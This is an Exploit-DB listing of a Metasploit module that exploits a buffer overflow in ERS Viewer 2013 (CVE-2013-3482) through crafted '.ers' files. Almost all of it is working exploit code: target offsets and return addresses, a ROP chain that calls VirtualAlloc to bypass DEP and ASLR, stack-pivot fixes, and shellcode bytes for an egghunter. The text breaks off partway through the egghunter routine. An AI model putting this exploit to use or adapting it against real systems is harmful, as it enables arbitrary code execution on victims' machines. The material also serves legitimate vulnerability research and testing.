Exploit-DB #26708
Description: ERS Viewer 2013 - '.ERS' File Handling Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2013-07-09
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Egghunter

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ERS Viewer 2013 ERS File Handling Buffer Overflow",
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in ERS Viewer 2013.
        The vulnerability exists in the module ermapper_u.dll, where the function
        rf_report_error handles user provided data in a insecure way. It results in
        arbitrary code execution under the context of the user viewing a specially crafted
        .ers file. This module has been tested successfully with ERS Viewer 2013 (versions
        13.0.0.1151) on Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Fitts', # Vulnerability Discovery
          'juan vazquez' # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3482' ],
          [ 'OSVDB', '93650' ],
          [ 'URL', 'http://secunia.com/advisories/53620/' ]
        ],
      'Payload'        =>
        {
          'Space'    => 4000,
          'DisableNops' => true,
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "process",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on Windows XP SP3
          [ 'ERS Viewer 2013 13.0.0.1151 / NO DEP / NO ASLR',
            {
              'Offset' => 191,
              'Ret' => 0x100329E9 # jmp eax # from ermapper_u.dll
            }
          ],
          # Tested on Windows XP SP3 and Windows 7 SP1
          [ 'ERS Viewer 2013 13.0.0.1151 / DEP & ASLR bypass',
            {
              'Offset' => 191,
              'Ret' => 0x100E1152,     # xchg eax, esp # ret # from ermapper_u.dll
              'RetNull' => 0x30d07f00, # ret ending with null byte # from ethrlib.dll
              'VirtualAllocPtr' => 0x1010c0f4
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "May 23 2013",
      'DefaultTarget'  => 1))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.ers']),
      ], self.class)

  end

  def create_rop_chain()
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets =
      [
        0x10082624,    # POP EAX # RETN [ermapper_u.dll]
        0x1010c0f4,    # ptr to &VirtualAlloc() [IAT ermapper_u.dll]
        0x1001a9c0,    # MOV EAX,DWORD PTR DS:[EAX] # RETN [ermapper_u.dll]
        0x1005db36,    # XCHG EAX,ESI # RETN [ermapper_u.dll]
        0x10105d87,    # POP EBX # RETN [ermapper_u.dll]
        0xffffffff,    #
        0x30d059d9,    # INC EBX # RETN [ethrlib.dll]
        0x30d059d9,    # INC EBX # RETN [ethrlib.dll]
        0x100e9dd9,    # POP EAX # RETN [ermapper_u.dll]
        0xa2dbcf75,    # put delta into eax (-> put 0x00001000 into edx)
        0x1001aa04,    # ADD EAX,5D24408B # RETN [ermapper_u.dll]
        0x10016a98,    # XCHG EAX,EDX # OR EAX,4C48300 # POP EDI # POP EBP # RETN [ermapper_u.dll]
        0x10086d21,    # RETN (ROP NOP) [ermapper_u.dll]
        0x1001a148,    # & push esp # ret  [ermapper_u.dll]
        0x10082624,    # POP EAX # RETN [ermapper_u.dll]
        0xffffffc0,    # Value to negate, will become 0x00000040
        0x100f687d,    # NEG EAX # RETN [ermapper_u.dll]
        0x1001e720,    # XCHG EAX,ECX # ADC EAX,5DE58B10 # RETN [ermapper_u.dll]
        0x100288b5,    # POP EAX # RETN [ermapper_u.dll]
        0x90909090,    # nop
        0x100e69e0,    # PUSHAD # RETN [ermapper_u.dll]
      ].flatten.pack("V*")

    return rop_gadgets
  end

  # Restore the stack pointer in order to execute the final payload successfully
  def fix_stack
    pivot = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18] # get teb
    pivot << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
    pivot << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
    pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
    return pivot
  end

  # In the Windows 7 case, in order to bypass ASLR/DEP successfully, after finding
  # the payload on memory we can't jump there directly, but allocate executable memory
  # and jump there. Badchars: "\x0a\x0d\x00"
  def hunter_suffix(payload_length)
    # push flProtect (0x40)
    suffix = "\xB8\xC0\xFF\xFF\xFF"                              # mov eax, 0xffffffc0
    suffix << "\xF7\xD8"                                         # neg eax
    suffix << "\x50"                                             # push eax
    # push flAllocationType (0x3000)
    suffix << "\x66\x05\xC0\x2F"                                 # add ax, 0x2fc0
    suffix << "\x50"                                             # push eax
    # push dwSize (0x1000)
    suffix << "\x66\x2D\xFF\x1F"                                 # sub ax, 0x1fff
    suffix << "\x48"                                             # dec eax
    suffix << "\x50"                                             # push eax
    # push lpAddress
    suffix << "\xB8\x0C\x0C\x0C\x0C"                             # mov eax, 0x0c0c0c0c
    suffix << "\x50" # push eax
    # Call VirtualAlloc
    suffix << "\xFF\x15" + [target['VirtualAllocPtr']].pack("V") # call ds:VirtualAlloc
    # Copy payload (edi) to Allocated memory (eax)
    suffix << "\x89\xFE"                                         # mov esi, edi
    suffix << "\x89\xC7"